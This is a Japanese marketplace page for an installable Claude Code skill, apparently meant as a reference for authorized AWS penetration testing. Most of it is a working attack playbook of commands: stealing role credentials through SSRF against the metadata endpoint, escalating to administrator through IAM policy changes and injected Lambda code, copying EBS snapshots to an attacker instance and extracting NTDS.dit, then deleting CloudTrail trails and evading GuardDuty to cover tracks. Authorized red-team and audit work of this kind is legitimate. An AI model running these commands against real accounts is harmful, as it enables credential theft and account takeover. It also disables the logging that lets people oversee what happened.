mcpField
A
AWS Penetration Testing

AWS Penetration Testing

github.com/davila7セキュリティ33.0k218 回インストール1 日前に更新
リポジトリ

AWS Penetration Testing について

AWS Penetration Testingは、AWS環境を評価する許可済みのテスター向けリファレンススキルです。IAM、EC2、S3、Lambdaの列挙や検証を扱い、書面による許可、対象範囲、監査記録を重視します。

主な機能

  1. 01IAMのID・権限・ポリシーを列挙
  2. 02メタデータエンドポイントと一時認証情報のリスクを評価
  3. 03S3・Lambda・EC2のリソースを検証
  4. 04権限昇格経路を整理
  5. 05監査結果を記録しテスト制約を遵守

活用シーン

  1. 01AWSのID・アクセス設定を評価
  2. 02許可された範囲内でクラウドリソースの露出を確認
  3. 03レッドチーム演習で権限昇格の可能性を整理
  4. 04AWSセキュリティ監査の結果をまとめる

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/davila7/claude-code-templates --skill aws-penetration-testing

インストール後、Claude Code で/aws-penetration-testingを入力して読み込まれたか確認します。

同梱ファイルreferences/advanced-aws-pentesting.md

詳細

AWS ペネトレーションテスト

目的

AWS クラウド環境に対するペネトレーションテストの包括的な手法を提供します。IAM の列挙、権限昇格、メタデータエンドポイントへの SSRF、S3 バケットの悪用、Lambda のコード抽出、およびレッドチーム演習における永続化手法を扱います。

入力/前提条件

  • 認証情報が設定された AWS CLI
  • 有効な AWS 認証情報(低権限のものでも可)
  • AWS IAM モデルの理解
  • Python 3、boto3 ライブラリ
  • ツール: Pacu、Prowler、ScoutSuite、SkyArk

出力/成果物

  • IAM の権限昇格経路
  • 抽出された認証情報およびシークレット
  • 侵害された EC2/Lambda/S3 リソース
  • 永続化の仕組み
  • セキュリティ監査の結果

必須ツール

ツール用途インストール
PacuAWS エクスプロイトフレームワークgit clone https://github.com/RhinoSecurityLabs/pacu
SkyArkShadow Admin の検出Import-Module .\SkyArk.ps1
Prowlerセキュリティ監査pip install prowler
ScoutSuiteマルチクラウド監査pip install scoutsuite
enumerate-iam権限の列挙git clone https://github.com/andresriancho/enumerate-iam
Principal MapperIAM 分析pip install principalmapper

基本ワークフロー

ステップ 1: 初期列挙

侵害された ID と権限を特定します:

# Check current identity
aws sts get-caller-identity

# Configure profile
aws configure --profile compromised

# List access keys
aws iam list-access-keys

# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
ステップ 2: IAM 列挙
# List all users
aws iam list-users

# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER

# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER

# List inline policies
aws iam list-user-policies --user-name TARGET_USER

# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1

# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
ステップ 3: EC2 へのメタデータ SSRF

SSRF を悪用して、メタデータエンドポイント(IMDSv1)にアクセスします:

# Access metadata endpoint
http://169.254.169.254/latest/meta-data/

# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME

# Response contains:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "...",
  "Expiration": "2019-08-01T05:20:30Z"
}

IMDSv2 の場合(トークンが必要):

# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
  "http://169.254.169.254/latest/api/token")

# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/"

Fargate コンテナの認証情報:

# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...

# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH

権限昇格の手法

Shadow Admin の権限

以下の権限は管理者権限と同等です:

権限悪用方法
iam:CreateAccessKey管理者ユーザー用のキーを作成
iam:CreateLoginProfile任意のユーザーのパスワードを設定
iam:AttachUserPolicy自分自身に管理者ポリシーをアタッチ
iam:PutUserPolicyインラインの管理者ポリシーを追加
iam:AddUserToGroup自分自身を管理者グループに追加
iam:PassRole + ec2:RunInstances管理者ロールを付与した EC2 を起動
lambda:UpdateFunctionCodeLambda にコードを注入
別のユーザー用のアクセスキーを作成
aws iam create-access-key --user-name target_user
管理者ポリシーのアタッチ
aws iam attach-user-policy --user-name my_username \
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
インラインの管理者ポリシーの追加
aws iam put-user-policy --user-name my_username \
  --policy-name admin_policy \
  --policy-document file://admin-policy.json
Lambda による権限昇格
# code.py - Inject into Lambda function
import boto3

def lambda_handler(event, context):
    client = boto3.client('iam')
    response = client.attach_user_policy(
        UserName='my_username',
        PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
    )
    return response
# Update Lambda code
aws lambda update-function-code --function-name target_function \
  --zip-file fileb://malicious.zip

S3 バケットの悪用

バケットの検出
# Using bucket_finder
./bucket_finder.rb wordlist.txt
./bucket_finder.rb --download --region us-east-1 wordlist.txt

# Common bucket URL patterns
https://{bucket-name}.s3.amazonaws.com
https://s3.amazonaws.com/{bucket-name}
バケットの列挙
# List buckets (with creds)
aws s3 ls

# List bucket contents
aws s3 ls s3://bucket-name --recursive

# Download all files
aws s3 sync s3://bucket-name ./local-folder
公開バケットの検索
https://buckets.grayhatwarfare.com/

Lambda の悪用

# List Lambda functions
aws lambda list-functions

# Get function code
aws lambda get-function --function-name FUNCTION_NAME
# Download URL provided in response

# Invoke function
aws lambda invoke --function-name FUNCTION_NAME output.txt

SSM によるコマンド実行

Systems Manager では、EC2 インスタンス上でコマンドを実行できます:

# List managed instances
aws ssm describe-instance-information

# Execute command
aws ssm send-command --instance-ids "i-0123456789" \
  --document-name "AWS-RunShellScript" \
  --parameters commands="whoami"

# Get command output
aws ssm list-command-invocations --command-id "CMD-ID" \
  --details --query "CommandInvocations[].CommandPlugins[].Output"

EC2 の悪用

EBS ボリュームのマウント
# Create snapshot of target volume
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"

# Create volume from snapshot
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a

# Attach to attacker instance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf

# Mount and access
sudo mkdir /mnt/stolen
sudo mount /dev/xvdf1 /mnt/stolen
シャドウコピー攻撃(Windows DC)
# CloudCopy technique
# 1. Create snapshot of DC volume
# 2. Share snapshot with attacker account
# 3. Mount in attacker instance
# 4. Extract NTDS.dit and SYSTEM
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local

API キーからのコンソールアクセス

CLI の認証情報をコンソールアクセスに変換します:

git clone https://github.com/NetSPI/aws_consoler
aws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY

# Generates signin URL for console access

痕跡の隠蔽

CloudTrail の無効化
# Delete trail
aws cloudtrail delete-trail --name trail_name

# Disable global events
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events

# Disable specific region
aws cloudtrail update-trail --name trail_name \
  --no-include-global-service-events --no-is-multi-region-trail

注意: Kali/Parrot/Pentoo Linux は、user-agent に基づいて GuardDuty のアラートを発生させます。user-agent を変更する Pacu を使用してください。


クイックリファレンス

タスクコマンド
ID の確認aws sts get-caller-identity
ユーザーの一覧aws iam list-users
ロールの一覧aws iam list-roles
バケットの一覧aws s3 ls
EC2 の一覧aws ec2 describe-instances
Lambda の一覧aws lambda list-functions
メタデータの取得curl http://169.254.169.254/latest/meta-data/

制約

必須:

  • テスト前に書面による許可を取得すること
  • 監査証跡のため、すべての操作を文書化すること
  • スコープ内のリソースのみをテストすること

禁止:

  • 承認なしに本番データを変更すること
  • 文書化せずに永続的なバックドアを残すこと
  • セキュリティ統制を恒久的に無効化すること

推奨:

  • メタデータ攻撃を試みる前に IMDSv2 の有無を確認すること
  • 悪用の前に十分に列挙すること
  • 演習終了後にテスト用リソースをクリーンアップすること

例

例 1: SSRF から管理者権限へ
# 1. Find SSRF vulnerability in web app
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# 2. Get role name from response
# 3. Extract credentials
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole

# 4. Configure AWS CLI with stolen creds
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

# 5. Verify access
aws sts get-caller-identity

トラブルシューティング

問題解決策
すべてのコマンドでアクセス拒否enumerate-iam で権限を列挙する
メタデータエンドポイントがブロックされているIMDSv2 の有無を確認し、コンテナのメタデータを試す
GuardDuty のアラートカスタム user-agent を指定して Pacu を使用する
認証情報の有効期限切れメタデータから再取得する(一時認証情報はローテーションされる)
CloudTrail がアクションを記録している無効化するか、ログの難読化を検討する

追加リソース

Lambda/API Gateway の悪用、Secrets Manager と KMS、コンテナセキュリティ(ECS/EKS/ECR)、RDS/DynamoDB の悪用、VPC での横方向移動、セキュリティチェックリストなどの高度な手法については、references/advanced-aws-pentesting.md を参照してください。

コメント